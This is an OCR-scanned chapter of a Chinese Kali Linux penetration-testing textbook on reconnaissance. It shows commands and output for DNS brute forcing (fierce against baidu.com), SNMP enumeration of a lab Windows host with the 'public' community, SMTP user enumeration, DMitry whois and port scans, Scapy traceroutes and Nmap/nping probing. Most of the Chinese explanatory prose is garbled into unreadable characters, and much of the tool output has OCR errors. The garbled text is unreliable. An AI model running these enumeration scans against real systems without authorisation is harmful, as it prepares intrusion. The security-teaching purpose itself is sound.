benet.com. 86400 IN A 192.168.41.131
www.benet.com. 86400 IN A 192.168.41.131

Mail (MX) Servers:

mail.benet.com. 86400 IN A 192.168.41.2
Trying Zone Transfers and getting Bind Versions:

S0 013 5 R T DNS R MIPEAIT L S0, (0 HUMBAE . 504 IS5 M Pl £
Mg, RIS, 0] LR B AL

i H] DNSenum T 14 £ DNS #2508, nf L H] dnsenum () —2E [ hnakeTil, @k Fras.

Q —threads [number]: ¥ i FIIETT 2 A WS

Q -re SOVFER R AL AR,

Q -d: VP P ¥CE WHOIS 53R Z [ B (A iEIR 5 CRRp il .

Q -0 AV PR E.

Q -w: AVFHIM S H WHOIS i3k .

4.1.2 DNS # =t T B fierce

fierce | H.fll DNSenum | HPF 2= A%, H fierce J= 32 1l A4 #E r A Al AL (5
By, A H fierce T H AR~ Hbr AL LR P bR 0GR W7 dn &0 F B

root@kali:~# fierce -dns baidu.com
DNS Servers for baidu.com:
nsZ.baidu.com
ns7.baidu.com
dns.baidu.com
ns3.baidu.com
ns4.baidu.com
Trying zone transfer first...
Testing ns2 baidu.com
Request timed out or transfer not allowed.
Testing ns7.baidu.com
Request timed out or transfer not allowed.
Testing dns.baidu.com
Request timed out or transfer not allowed.
Testing ns3.baidu.com
Request timed out or transfer not allowed.
Testing ns4.baidu.com
Request timed out or transfer not allowed.
Unsuccessful in zone transfer (it was worth a shot)
QOkay, trying the good old fashioned way... brute force
Checking for wildcard DNS...
#+ Found 94050052936.baidu.com at 123.125.81.12.
++ High probability of wildcard DNS.

MNow performing 2280 test(s)...
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10.11.252.74
172.22.15.16

accounts.baidu.com
agent.baidu.com
180.76.3.56  antivirus.baidu.com
10.81.7.51 ba.baidu.com
172.18.100.200bd.baidu.com
10.36.155.42 bh.baidu.com
10.36.160.22 bh.baidu.com
10.11.252.74 accounts.baidu.com

...... HEEER S A

61.135.163.0-255 :
61.135.165.0-255 :
61.135.166.0-255 :
61.135.185.0-255 :

1 hostnames found.
1 hostnames found.
1 hostnames found.
1 hostnames found.

Done with Fierce scan: http:/fha.ckers.org/fierce/

Found 133 entries.
Have a nice day.

T AE B SR T baidu.com FATH M. MEIECE 2 17,
PATU @4 E, WA ERE. (B2

™EH .
) AR

R mT LU i i Ot

A FL ] B S P A T M (] () PR

n LLE B A3k #) 133
AR LS S kS (R s

AT A2 W R AT

root@kali:~# fierce -dns baidu.com -wordlist hosts.txt /tmp/output.txt

4.1.3 SNMP # %t T A Snmpwalk

Snmpwalk 42

R

[ 4-1]1 (EH] Snmpwalk 774l Windows 141

SIS TAT iV

A~ SNMP W R . S SNMP [ GETNEXT gk, #rifts il ir
17 OID (SNMP Hpill gt S bnitl) s E

AN AT S Snmpwalk T

PAT dr S R F R

root@kali:~# snmpwalk -c public 192.168.41.138 -v 2¢c

i50.3.6.1.2.1.1.1.0 = STRING: "Hardware: x86 Family 6 Model 42 Stepping 7 AT/AT
COMPATIBLE - Software: Windows Version 6.1 (Build 7601 Multiprocessor Free)"
i50.3.6.1.2.1.1.2.0 = 0ID: is0.3.6.1.4.1.311.1.1.3.1.1

i50.3.6.1.2.1.1.3.0 = Timeticks: (49046) 0:08:10.46

is0.3.6.1.2.1.1.40=""

i50.3.6.1.2.1.1.5.0 = STRING: "WIN-RKPKQFBLGE&C"

is0.3.6.1.21.1.60=""

i50.3.6.1.2.1.1.7.0 = INTEGER: 76
i50.3.6.1.2.1.2.1.0 = INTEGER: 15
i50.3.6.1.2.1.2.2.1.1.1 = INTEGER: 1
i50.3.6.1.2.1.2.2.1.1.2 = INTEGER: 2
i50.3.6.1.2.1.2.2.1.1.3 = INTEGER: 3
i50.3.6.1.2.1.2.2.1.1.4 = INTEGER: 4
i50.3.6.1.2.1.2.2.1.1.5=INTEGER: 5
i50.3.6.1.2.1.2.2.1.1.6 = INTEGER: 6
i50.3.6.1.2.1.2.2.1.1.16 = INTEGER: 16
i50.3.6.1.2.1.2.2.1.1.17 = INTEGER: 17
i50.3.6.1.2.1.2.2.1.1.18 = INTEGER: 18
i50.3.6.1.2.1.2.2.1.1.19 = INTEGER: 18
i50.3.6.1.2.1.2.2.1.2.1 = Hex-STRING: 53 6F 66 74 77 61 72 65 20 4C 6F 6F 70 62 61 63
6B 20 49 6E 74 65 72 66 61 63 65 20 31 00

i50.3.6.1.2.1.2.2.1.2.2 = Hex-STRING: 57 41 4E 20 4D 69 6E 69 70 6F 72 74 20 28 53 53

« 74
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54 50 29 00
i50.3.6.1.2.1.2.2.1.2.3 = Hex-STRING: 57 41 4E 20 4D 69 6E 69 70 6F 72 74 20 28 4C 32
54 50 29 00
i50.3.6.1.2.1.2.2.1.2.4 = Hex-STRING: 57 41 4E 20 4D 69 6E 69 70 6F 72 74 20 28 50 50

i50.3.6.1.2.1.55.1.8.1.5.11.16.254.128.0.0.0.0.0.0.149.194.132.179.177.254.120.40 = INTEGER:

.1

i50.3.6.1.2.1.55.1.8.1.5.12.16.254.128.0.0.0.0.0.0.0.0.94.254.192.168.41.138 = INTEGER: 1
i50.3.6.1.2.1.55.1.8.1.5.13.16.32.1.0.0.157.56.106.184.52.243.8.98.63.87.214.117 = INTEGER: 1
i50.3.6.1.2.1.55.1.8.1.5.13.16.254.128.0.0.0.0.0.0.52.243.8.98.63.87.214.117 = INTEGER: 1

i50.3.6.1.2.1.55.1.9.0 = Gauge32: 9
i$0.3.6.1.2.1.55.1.10.0 = Counter32: 0

P Egi s B 25T Windows L 192.168.41.138 i ATAT{5 ..
HIP aT B snmpwalk a2 B0 2228 ot . 04T 62 B s
root@kali:~# snmpwalk -c public 192.168.41.138 -v 1 | grep fip

s Bl B RTR:

i50.3.6.1.2.1.25.4.2.1.5.3604 = STRING: "-k ftpsvc"

S B s 192.168.41.138 EHLEEE T fip #fb6L.

{£ 1 Snmpwalk T H B 0T LIHES HEr 0L 4T IR TCP i 1. B AT dr 400+ B

root@kali:~# snmpwalk -c public 192.168.41.138 -v 1 | grep icpConnState | cut -d "." -f6 | sort -nu
21

25

80

443

HBE B ER T 192.168.41.138 EHLT A& e f 21, 25, 80 f1 443, SALTHT

AR,
4.1.4 SNMP #Z T H Snmpcheck

Snmpcheck T-H fe 1 1P Fes SNMP 5z 2 150 ] i of 5 5 LART i (1 7 o8t o 1 g s
A% L HE ] . A H] Snmpeheck T Ll ik SNMP i 5KE 192.168.41.138 FHL{HE . 44
74 W F B

root@kali:~# snmpcheck -t 192.168.41.138

AR B2, NI UM AN . B e IR s AT R

snmpcheck.pl v1.8 - SNMP enumerator
Copyright (c) 2005-2011 by Matteo Cantoni (www.nothink.org)

[#*] Try to connect to 192.168.41.138
[*] Connected to 192.168.41.138
[#] Starting enumeration at 2014-04-19 15:28:58

(D RMARAEELE, mEA. BERGEEM AN 858 WF FrR.
[#] System information
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Hostname : WIN-RKPKQFBLG6C #HEHZ

Description : Hardware: x86 Family 6 Model 42 Stepping 7 AT/AT COMPATIBLE -
Software: Windows Version 6.1 (Build 7601 Multiprocessor Free) #fi£{EE

Uptime system : 6 hours, 29:56.09 #E Bl REFHIEITH E

Uptime SNMP daemon : 25 minutes, 56.65 #SNMP gEF2iZ{THT (8]

Motd L -

Domain (NT) - WORKGROUP HIBRHNRET
M i S B fl"HJ' LLE 5% 2400 WL % 9 WIN-RKPKQFBLG6C . x86 %24 fil

Windows ‘Iwﬁfﬁ. o fll

(2) FHLE

éﬁﬁ;—.w Wi 1D 5y REFLREST . g0 R Brs:

[#] Devices information

Id Type Status Description
1 Printer Running TP Output Gateway
10 Network Unknown WAN Miniport (L2TP)
11 Network Unknown WAN Miniport (PPTP)
12 Network Unknown WAMN Miniport (PPPOE)
6 Printer Running Microsoft Shared Fax Driver
7 Processor Running Intel
8 Network Unknown Software Loopback Interface 1
9 Network Unknown WAN Miniport (SSTP)
PLEAS B o T RGP AT BLae O I, T EN B . 255 Bk wi f A I 85 55

(3) HAAAEAE B, W id, SRR RGNS . &5 AT H .

[#] Storage information

Al

Device id 1 #ig# D

Device type : Removable Disk Hig g AE

Filesystem type : Unknown HICFE R R
C:\ Label: Serial Number 3814cb70

Device id 2

Device type . Fixed Disk

Filesystem type CNTFS

Device units : 4096 HEE BT

Memory size 111G #2E 8] A

Memory used : 8.5G HEERZ(E

Memory free 102G #E == (8]
0x443a5c204c6162656c3ad0c2becd3beed202053657269616c204e756d62657220626134643762
3134

Device id : 3

Device type : Fixed Disk

Filesystem type cNTFS

Device units : 4096

Memory size :9.8G

Memory used S TIM

Memory free :9.7G
0x453a5c204¢6162656c3ad0c2bed3beed202053657269616c204e756d62657220343234383837
6331

Device id 4
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Device type : Fixed Disk
Filesystem type NTFS
Device units : 4096
Memory size :9.8G
Memory used t 79M
Memory free :9.7G

Li-.‘"ilifr}fu’riﬁ_f'%’%f’ﬁl AT R . BT RiRa s, X B HIET A FC A S .
IZHELLCHoNE, Ardd— P rE e, EIGsaI, S RSER, R, 2l
=43 (i) S A R 42 28 ) AN
(4) KELH PR AR 2530

[#*] User accounts

Administrator
Guest

BaE RS s TERG PP, 405 Administrator #1 Guest.
(5) FEHGHFE R, Wit 1D, JEFE A R e A, 5 i F iR

[#] Processes

Total processes: 44

Process type : 1 unknown, 2 operating system, 3 device driver, 4 application
Process status: 1 running, 2 runnable, 3 not runnable, 4 invalid
Process id Frocess name Process type Process status  Process path
1 System Ildle Process 2 1
1112 svchost.exe 4 1
1276 spoolsv.exe 4 1
1324 svchost.exe 4 1
1416 taskhost.exe 4 1

GBS AT EZ RS P IAT 44 R B RER R, XS T EL
ASATHERE . 3 ATHROE TR AL 1 /o AR, 2 BoriE RS 3 Foni&a),
4 TN R, 5 -L?’J"Tﬁ?u'_’ FERR RS 1 R IERIETT: 2 #oanrT Uz T: 3 #oand
REIZAT; 4 FoRRm. P[H“J UH:Ief“rJiJ'_JoH-"JFr’J Bt @ P Fonib i ID; 5 2 hEk
AHERE A B A FORIERERGS: SRR R 1.

(6) HEHLLEAE L, _&JITTL fi. TCP ExfEdoc. & KW Fhon:

[*] Network information

IP forwarding enabled : N #EERR PR
Default TTL c 128 #ELLL TTL
TCP segments received : 19092 #IgE TCP B
TCP segments sent : 5964 #A&1% TCP K
TCP segments retrans. .0 HEX TCP B
Input datagrams . 37878 H#iTANEE T
Delivered datagrams : 38486 #Em e EEE T
Output datagrams : 16505 H#ifi R T

PL AR BB T iz Hbs R8P P A 5 B, EGA TTL (. @] TCP B, &ik
TCP EtHI & & TCP Br%.
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(7) SEELMZEE (G B, e rRad, =, 1P HhhE R 7~ R HER S . 25 B F BT s

[#¥] Network interfaces

(10) FREWENT () TCP &

AATE P

11, il

[#] Listening TCP ports and connections

LTI TCP i 11554 135,

Interface : [ up ] Software Loopback Interface 1
Interface Speed : 1073.741824 Mbps HHEECRE
IP Address :127.0.0.1 #IP it
Netmask : 255.0.0.0 #F o] HE 65
MTU : 1500 #mAERET
VL EAA B R T loopback # LA IGIS B RIS EIES, 1P Huhl . 5 o FERS 0 5
FAL T
(8) IR {5 &, WHERHNE, T -Bkkbhk. 7RAEMRES DKM, 4550 T
Az
[*] Routing information
Destination Next Hop Mask Metric
0.0.0.0 192.168.41.2 0.0.0.0 10
127.0.0.1 127.0.0.1 255.255.255.255 306
127.255.255.255 127.0.0.1 255.255.255.255 306
192.168.41.0 192.168.41.138 255.255.255.0 266
192.168.41.138 192.168.41.138 255.255.255.255 266
192.168.41.255 192.168.41.138 255.255.255.255 266
224.0.0.0 127.0.0.1 240.0.0.0 306
LLEAE B3R AR REEm i RE . e iR 8 rkbhl, Bk, 7
EE(REY S 28 S5 P
(9) FREUM 25 IR 5515 B, g A sUA % SR AU IR 5 - DHCP %5 7 5 il DNS %5 P 355
E R R TR
[*] Network services
Application Experience
Background Intelligent Transfer Service
Base Filtering Engine
COM+ Event System
COM+ System Application
Computer Browser
Cryptographic Services
DCOM Server Process Launcher
DHCP Client
DNS Client
LLEAE B T Hbr AP Br e iRk 55 . i FRimiy s B, S T D8 ar ik s

495149513 F1 139 %%, .:i'i




o4 B

fi Bk

Hohik s JC s Lo ARG

}J:\':

Local Address

0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0

192.168.41.138
192.168.41.138

LA LAR B & U TCP IERIS 5 & . GaEAMMhE. Ao E . i 8

Port

135
49152
49153
49154
49155
49156
49159

139
49241

Remote Address

0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0

192.168.41.1

(11) FRECEIF UDP S P15 B, iy i) UDP
S . £E SR B

[#] Listening UDP ports

Sy

Port State
- Listening
- Listening
- Listening
- Listening
- Listening
- Listening
- Listening
- Listening

139 Time wait

147 123, 161, 4500, 500 F1 5355

Local Address
0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0
0.0.0.0

127.0.0.1
127.0.0.1
192.168.41.138
192.168.41.138
192.168.41.138

Port
123
161

4500
500
5355
1900
51030
137
138
1900

P bAR B Hfs ERLH ©IF A A9 UDP B 145,

(12) SREEAF S S, Visual C++ 2008

[#] Software components

=]

o WAREURWIF Fros:

1. Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148

LI EAE Bz B P 43 T Visual C++ 2008 255,
(13) FKHL Web 55158, WAaim 7 s, SorFEORES T 2 H P 55

[#] Web server information

25 R T

Total bytes sent low word
Total bytes received low word
Total files sent
Current anonymous users
Current non anonymous users

Total anonymous users

Total non anonymous users

[#] Enumerated 192.168.41.138 in 0.64 seconds
Signal USR1 received in thread 1, but no signal handler set. at /usr/bin/snmpcheck line 230.

LA R T T Web BREFIYS L. Bt Sl THEE ML 192,168 41.138 SR ) .

« 7O .
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4.1.5 SMTP #z I B smtp-user-enum

smtp-user-enum s& ¥ 47 SMTP Jllm?ﬁ-ﬁ%fﬂ 25 g 1, HEATHI P A ECER L H, R AR AR
%ok CATERREHTIK - . 78 SMTP ARS5 LR sh - /Y SMTP Mss. AT i 40 F s

root@kali:~# smtp-user-enum -M VRFY -U /tmp/users.txt -t 192.168.41.138
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

| Scan Information |
Mode .......ccoouuc... " .. VRFY H#SMTP B {E ARy
Worker Processes ... ... 5 TR
Usernames file ........... ftmplusers.txt #MA P&
Target count ........ 1 #EIRM P
Usemamecount.... ... 2 #HPREHKSE
Target TCPport.... ... 25 #B45 TCP %0
Query timeout ...... . b secs H#iEB BT R 8]

Target domain ............ #BERE A

it Scan started at Sat Apr 19 16:07:04 2014 #HuEEAH #1A1H /2 sh T (8]
HHHHEHH Scan completed at Sat Apr 19 16:07:05 2014 #HEHHERH #I3E LR A (8

0 results.

2 queries in 1 seconds (2.0 queries / sec)

Al 15 B s T 192.168.41.138 FHLMTE4IME B, B4EELA, EirdtiE. i/
#2030 PG TCP i 1155 .

4.2 WX W 2450, F)

IS, o £ 5 R P 110 TP Hiohb sl del 44 19 02 20 iy A T4 . iJ_i:_'ﬂLJ'i;ﬂCI‘i’EI‘E’Hﬁ'_'.I‘F"II*J
Y 1P MRk sl 47, ffse 2 B AR B R b IR E R 5. A /D BT RO R
HERH AR AT E N, AR 1 2Bk, HUAT AT A 1T Jenhi AL f it 7 ik A ’fJ
RO, BRRCHTEImE N R, e R ANkl R B, sk eT LA R I A T 2k
WA L. E Kali PHEE T DMitry 1 Scapy T.H. Hrp, DMitry T HH i Hbx
[ 2% b 1P 3ol 5t 44 45 5L s Scapy T H F Sie 14 19 2 e WA ECH 60, . A8 48 4 B DMitry
H1 Scapy T H A M 2570 [ -

421 & %EEITE DMitry

DMltry - H it H R i) TP 244 WHOIS {5 B\ . WHOIS &Rl Rfifjll 42 v 02
T M B 2y el 2 A PR 5 B BdE B Clondll 4% iy A 2 s ) - R TR
0 DL B35 42 (13 M ps ek SO (8] 5% 1 TR {F B DMitry T2 HCEE rzchina.net 384 1915 B
AT 2 B

root@kali:~# dmitry -wnpb rzchina.net

o Hi) -
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Deepmagic Information Gathering Tool

"There be some deep magic going on"
HostlP:180.178.45.123

HostName:rzchina.net

Gathered Inic-whois information for rzchina.net

Domain Name: RZCHINA.NET
Registrar: BIZCN.COM, INC.

Whois Server: whois.bizcn.com
Referral URL: hitp:/fwww.bizcn.com
Name Server: DNS1.BIZMOTO.COM
Name Server: DNS2.BIZMOTO.COM
Status: clientDeleteProhibited

Status: clientTransferProhibited
Updated Date: 18-apr-2013

Retrieving Netcraft.com information for rzchina.net
Netcraft.com Information gathered

Gathered TCP Port information for 180.178.45.123

Port State
21/tcp open
>> 220 Welcome
22/tcp open
>> §SH-2.0-OpenSSH_4.3
25/tcp open
=> 220 vhost78.myverydz.com ESMTP Postfix
80/tcp open
110/tcp open
>> +0K Hello there.

Portscan Finished: Scanned 150 ports, 135 ports were in state closed
All scans completed, exiting

A0S B SR T rechina.net £44 (1 1P Huhik, WHOIS {5 5 E P 0 o 1555, AT
LA b A e s SR 2, (Rt TR 0 A, -.*‘ﬁiﬁiﬂi’#fﬁi HEmg s (.. U

BAAEA] DMitry T H o LLAr &3] 1P sibl 4545 5, (HIE A2 A fig 40 o J&f‘i\lwfﬁ wh.
K] oA — R 117 % b 24 0B B 25 AN S 4 TP bRl f Ay, BT LA DA &8 40 1P Ml
Pegi il v ARSI R 20, CIDR e 2URUERL B n) 7 MRS RS 0% . F Linux "', netmask I
FLAfLUAE 1P J5 [, M AERS . CIDR 1 Cisco S5 2Urb B ARFE 3, JF HAR{E 1 1P Huhk iy 55
At S aE ] G AN AR 2 TR] ) A S 4 . A netmask T. HoF5 544 rzchina.net
o 3t B HE ) 1 P RS 2. AT R R T R

root@kali:~# netmask -s rzchina.net
180.178.45.123/255.255.255.255

S s S s T rzehinaanet 5845 1) TP HohE R0~ (o) 0 (8 .
4.2.2 pRERETEH TR Scapy

Scapy f— M AR T SRR EE T H. MR LR . TR ME R L
TRRENRE T I S R 0 2 T AR SO LR B S« X M Gl 174
M. SRMHR. WUER. MBI S DI, IS4 Scapy THAIAE

1811



F2h R mCE A

{£ ] Scapy S 24T HATER EE G th 2hRe . HAREE LB TR,
(1) K13 Scapy T H. #ATdr &I F s,

root@kali:~# scapy
INFO: Can't import python gnuplot wrapper . Won't be able to plot.
WARNING: Mo route found for IPv6 destination :: (no default route?)

Welcome to Scapy (2.2.0)
e

B H|=>>4¢ 71T, 7R scapy A& SR .

(2) AER] srOe B I M B . AT A0 F B
=>> ans,unans=sr{lP(dst="www.rzchina.net/30" ttl=(1,6))TCP())

Begin emission:

s=+:xFinished to send 24 packets.

LHREERRRRRRRRRRR MG #Ctri+C #1E
Recewed 70 packets gnt 15 answers, remaining 5 packets

PATEL L4, 2 AEhE wwworzehinanet BOTER . AT ILABIE, fFH Cul+C
2 bR . M RS ST LLE 2R 70 A~ Edla, £33 19 e py G R iR T
5 f]\{;..
(3) PLEMEX ARG AN . AT S W F Fran:
>>> ans.make_table(lambda(s,r):(s.dst,s.ttl,r.src))
PATLL LA 205, M R RO

180.178.45.120 180.178.45.121 180.178.45.122 180.178.45.123
1192.168.41.2 192.168.41.2 192.168.41.2 192.168.41.2

2180.178.45.120 - 180.178.45.122 180.178.45.123
3180.178.45.120 - 180.178.45.122 180.178.45.123
4 180.178.45.120 - 180.178.45.122 180.178.45.123
5180.178.45.120 - 180.178.45.122 180.178.45.123
6 180.178.45.120 - 180.178.45.122 180.178.45.123

.i'JJ |{.|’Il:|1 ||_.L T I T |‘>EI%'|'H{JL’1H3 1P i‘lilII
(4) fEH] scapy #r& TCP i HIREAE B $ATe2 W F .

e
res,unans=traceroute(["www.google.com","www.kali.org","www.rzchina.net"],dport=[80,44 3], maxt
tI=20,retry=-2)

Begin emission:

ok ok bk ok R ok ook ok ek sk Finished to send 120 packets.

obt s e e o e s e o e o o o o e o o o e e o o o *tmtmtmtaagin emission:

*_Finished to send 39 packets.

Begin emission:

Finished to send 38 packets.

Begin emission:

Finished to send 38 packets.

Received 84 packets, got 82 answers, remaining 38 packets

173.194.127.179:tcp443 173.194.127.179:tcp80 180.178.45.123:tcp443
180.178.45.123:tcp80 198.58.119.164:tcp443 198.58.119.164:tcp80
1 192.168.41.2 1" 192.168.41.2 1" 192.168.41.2 11
192.168.41.2 11 192.168.41.2 1 192.168.41.2 11
2 - - 180.178.45.123 RA
180.178.45.123 SA 198.58.119.164 RA 198.58.119.164 SA
3 - - 180.178.45.123 RA



4T

fi Bk

10
"
12
13
14
15
16
17
18
19

20

St (S R
B T2 fodbdk o 65 B RA BORBR 1K, SA TR X
RGP G AT E . RA (Routing Area) [FIFri
AR 55 DO R R Bl & v R IR S5 I XCIEE,  BAS[RLE A [ R - -JL-J.HEHJ‘LMMJ

180.178.45.123
183.1-?8.45.123
'18[].1-?'3.45.123
185.1-?8.45.123
'18[].1-?'3.45.123
185.1-?3.45.123
'18[].1-?3.45.123
183.1-?8.45.123
'18[].1-?'3.45.123
180.1-?8.45.123
'18[].1-?'3.45.123
183.1-?8.45.123
'13[].1-]'3.45.123
180.1-?8.45.123

180.178.45.123
180.178.45.123
180.178.45.123

180.178.45.123

5 2 AR A R

(5) {A] res.graph()pf £ LA A B A R s i IR ERES . P07 dr & 0 F s

>>> rgs.graph()

PATEL EanAn, B E 4.0 Bl S .

SA
SA
SA
SA
SA
SA
SA
SA
SA
SA
SA
SA
SA
SA
SA
SA
SA

SA

198.58.119.164
198.5-8.119.154
193.5-3.119.164
198.5-8.119.154
193.5-3.119.164
193.5-8.119.154
193.5-3.119.164
198.5-8.119.154
193.5-3.119.164
193.5-8.119.154
193.5-3.119.164
193.5-3.119.154
193.5-3.119.164
198.5-8.119.154

198.58.119.164
198.58.119.164
198.58.119.164

198.58.119.164

£ 2 2 3222323332232 222 822

RA

5 =

AT e

RAI,

B T 5 www.google.com, www kali.org, www.rzchina.net

198.58.119.164  SA
180.178.45.123  RA
198.58.119.164  SA
180.178.45.123  RA
198.58.119.164  SA
180.178.45.123  RA
198.58.119.164  SA
180.178.45.123  RA
198.58.119.164  SA
180.178.45.123  RA
198.58.119.164  SA
180.178.45.123  RA
198.58.119.164  SA
180.178.45.123  RA
198.58.119.164  SA
180.178.45.123  RA
198.58.119.164  SA
180.178.45.123  RA
198.58.119.164  SA
180.178.45.123  RA
198.58.119.164  SA
180.178.45.123  RA
198.58.119.164  SA
180.178.45.123  RA
198.58.119.164  SA
180.178.45.123  RA
198.58.119.164  SA
180.178.45.123  RA
198.58.119.164  SA
180.178.45.123  RA
198.58.119.164  SA
180.178.45.123  RA
198.58.119.164  SA
180.178.45.123  RA
198.58.119.164  SA

ANl

,LII B B

RA /i

BLETE LA wrmg
T EEFRATE . T

;1]

[METSEC-HK Umik 1206107 HIE]

ImageMagick: -
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W AREA R AT = L AT P Ay 2
>>> res.graph(target=">/tmp/graph.svg")

WATUL B4 a4 s B SR A7 Bl /tmp/graph.svg SCAE . A S AR
{5 B4t .
(6) IEH scapy B, ATan S W F TR,

>>> exit()

AT, Ein 4, scapy FEFFRREH . n LU R Cul+D # &8E H scapy I .
4.3 RA|EKE) EA

FUGBIEBNZ AT, IR AR H PR S AR ER I ENL. E— N H bR N,
T ) i A AT ping dn S YR, EnlEEE A EHEES, el gER . A
¢4 ] Nmap 1T H U055 ER 1 0L -

431 MEERSGTEE TH Nmap

Nmap 2t G 0 I R 25 4 R 8 T LA, oy [ £ il 5 25 ( Network Mapper) .
Z L RHIEARTIRE Ay, — 280 — 4 EPE g, HREAf BN D, Rt
e E e 55 =2 nT LAHEWT - HLBT D 3 RSt @, HIP ORI Nmap ST W48 &R
2 g1 N o (PR = R S B L <O I P T B O TR e 5 S8 1. 1 -6 1 DR SV 79 e B
LA o B, AR LAY S I 07 2 Y 2R 22 iR A . b R ArfE il 19 H A%
BL, Myl F— A a Bt .

Nmap & ] TCP/IP thisHe AR L0ttt - M H bs LR RSN, 156, Nmap i
o6 H bR E LA T o A, R AT O IR AR H AR B AL BT, i #) H bR L
AT IR TCP &y, —A2CH ) TCP B F—A~ 3¢ H (1) UDP G i, Nmap (1)
PRMGE N A P . Nmap T H 1 TAF FLPE N 4-1 Bk,

F 4-1 NmapI{ERiE

et Wik
Tl % TCP il 4 (Flag=SYN) FJTfi ) TCP 5 11 |-
T2 F kA1) TCP A48 (20 i ) TCP w5 1 |k
T3 %% TCP ¥i#E {0 (Flag=SYN. URG. PSH I FIN) #|J[ff¥) TCP &1l I
T4 #i% TCP ¥ (Flag=ACK) #|JFiff TCP 50 -
Ts # % TCP il (Flag=SYN) FZ[H) TCP &5 11 |-
Té %% TCP $3E 4 (Flag=ACK) F|JFiftfr] TCP & 10 F
T7 #i% TCP $i4i8 49 (Flag=URG. PSH HI FIN) $|J:H) TCP &1 I

Nmap & HErEHLHET — B9, W2 4-1 Fin. A0 MR g B g of B
Fr L0 Nmap #5420, 5205, ¥4tk Nmap $580 58085 TP 807 2 4R ICARC,  MOmi#3 1 H
bR B3 R g 2,

« R4
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Nmap T 55258 % 4-2 Ao,

F+ 4-2 NmapEZEHi#R

Ping 131& im O 13 &
TCP SYN 1§ UDP 34
B R i A1 it

4.3.2 {EFH Nmap iR3iEKEH

E—/ 54048 1 Nmap T H8EZ IhHE. DA HZ TR, W4~ M g% ik kT

Tl FERE T s,

fEH Nmap #56 EHUEEE. AATar2 W R

root@kali:~# nmap -sP 192.168.41.136

Starting Nmap 6.40 ( hittp://nmap.org ) at 2014-04-21 17:54 CST
Nmap scan report for www.benet.com (192.168.41.136)

Host is up (0.00028s latency).

MAC Address: 00:0C:29:31:02:17 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds

MAETH S Bl LLEF) 192.168.41.136 EHLMELS . B HLFELE R MAC Hihlk%5% .
H AP a Ll Nping (Nmap £ H) &F, #etmE £iE414G . iTdrSm

e

[&]

root@kali:~# nping --echo-client "public” echo.nmap.org

Starting Nping 0.6.40 ( hitp://nmap.org/nping ) at 2014-04-21 17:53 CST

SENT (1.6030s) ICMP [192.168.41.234 = 74.207.244.221 Echo request (type=8/code=0)
id=45896 seq=1] IP [ttI=64 id=1270 iplen=28 ]

RCVD (1.7971s) ICMP [74.207.244.221 > 192.168.41.234 Echo reply (type=0/code=0) id=45896
seq=1] IP [tt1=128 id=64157 iplen=28 ]

SENT (2.6047s) ICMP [192.168.41.234 > 74.207.244221 Echo request (type=8/code=0)
id=45896 seq=2] IP [ttI=64 id=1270 iplen=28 ]

RCVD (2.6149s) ICMP [74.207.244.221 > 192.168.41.234 Echo reply (type=0/code=0) id=45896
seq=1] IP [t1=128 id=64159 iplen=28 ]

SENT (3.6289s) ICMP [192.168.41.234 = T74.207.244.221 Echo request (type=8/code=0)
id=45896 seq=3] IP [ttI=64 id=1270 iplen=28 ]

RCVD (3.6322s) ICMP [74.207.244.221 > 192.168.41.234 Echo reply (type=0/code=0) id=45896
seq=1] IP [t1=128 id=64161 iplen=28 ]

SENT (4.6429s) ICMP [192.168.41.234 > 74.207.244221 Echo request (type=8/code=0)
id=45896 seq=4] IP [ttI=64 id=1270 iplen=28 ]

RCVD (4.6435s) ICMP [74.207.244.221 > 192.168.41.234 Echo reply (type=0/code=0) id=45896
seq=1] IP [t1=128 id=64163 iplen=28 ]

SENT (5.6454s) ICMP [192.168.41.234 > 74.207.244.221 Echo request (type=8/code=0)
id=45896 seq=5] IP [ttI=64 id=1270 iplen=28 ]

RCVD (5.6455s) ICMP [74.207.244.221 > 192.168.41.234 Echo reply (type=0/code=0) id=45896
seq=1] IP [tt1=128 id=64164 iplen=28 ]

Max rtt: 193.736ms | Min rtt: 0.042ms | Avg rtt: 70.512ms

Raw packets sent: 5 (140B) | Revd: 11 (506B) | Lost: 0 (0.00%)| Echoed: 0 (0B)

Mping done: 1 IP address pinged in 6.72 seconds

A5 R T echo.nmap.org 1095t FERE I A ¥ AT, IR Kt 4 it
) TTL (AT 3R I )25
FHLP A T LR 26— 26Nl MR S S R 1 R TR
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root@kali:~# nping -tcp -p 445 -data AF56A43D 192.168.41.136

Starting Nping 0.6.40 ( hitp://nmap.org/nping ) at 2014-04-21 17:58 CST

SENT (0.0605s) TCP 192.168.41.234:14647 > 192.168.41.136:445 S ttl=64 id=54933 iplen=44
5eq=3255055782 win=1480

RCVD (0.0610s) TCP 192.168.41.136:445 > 192.168.41.234:14647 RA ttl=64 id=0 iplen=40
seq=0 win=0

SENT (1.0617s) TCP 192.168.41.234:14647 > 192.168.41.136:445 S ttl=64 id=54933 iplen=44
5eq=3255055782 win=1480

RCVD (1.0620s) TCP 192.168.41.136:445 > 192.168.41.234:14647 RA ttl=64 id=0 iplen=40
seq=0 win=0

SENT (2.0642s) TCP 192.168.41.234:14647 > 192.168.41.136:445 S ttI=64 id=54933 iplen=44
5eq=3255055782 win=1480

RCVD (2.0645s) TCP 192.168.41.136:445 > 192.168.41.234:14647 RA ttl=64 id=0 iplen=40
seq=0 win=0

SENT (3.0667s) TCP 192.168.41.234:14647 > 192.168.41.136:445 S ttl=64 id=54933 iplen=44
5eq=3255055782 win=1480

RCVD (3.0675s) TCP 192.168.41.136:445 > 192.168.41.234:14647 RA ttl=64 id=0 iplen=40
seq=0 win=0

SENT (4.0683s) TCP 192.168.41.234:14647 = 192.168.41.136:445 S ttI=64 id=54933 iplen=44
5eq=3255055782 win=1480

RCVD (4.0685s) TCP 192.168.41.136:445 > 192.168.41.234:14647 RA ttl=64 id=0 iplen=40
seq=0 win=0

Max rtt: 0.334ms | Min rtt: 0.136ms | Avg rtt: 0.217ms

Raw packets sent: 5 (220B) | Revd: 5 (230B) | Lost: 0 (0.00%)

MNping done: 1 IP address pinged in 4.13 seconds

s B2 T 192.168.41.234 5 HARREE 192.168.41.136 2. (8] TCP 4L 4l #E. M
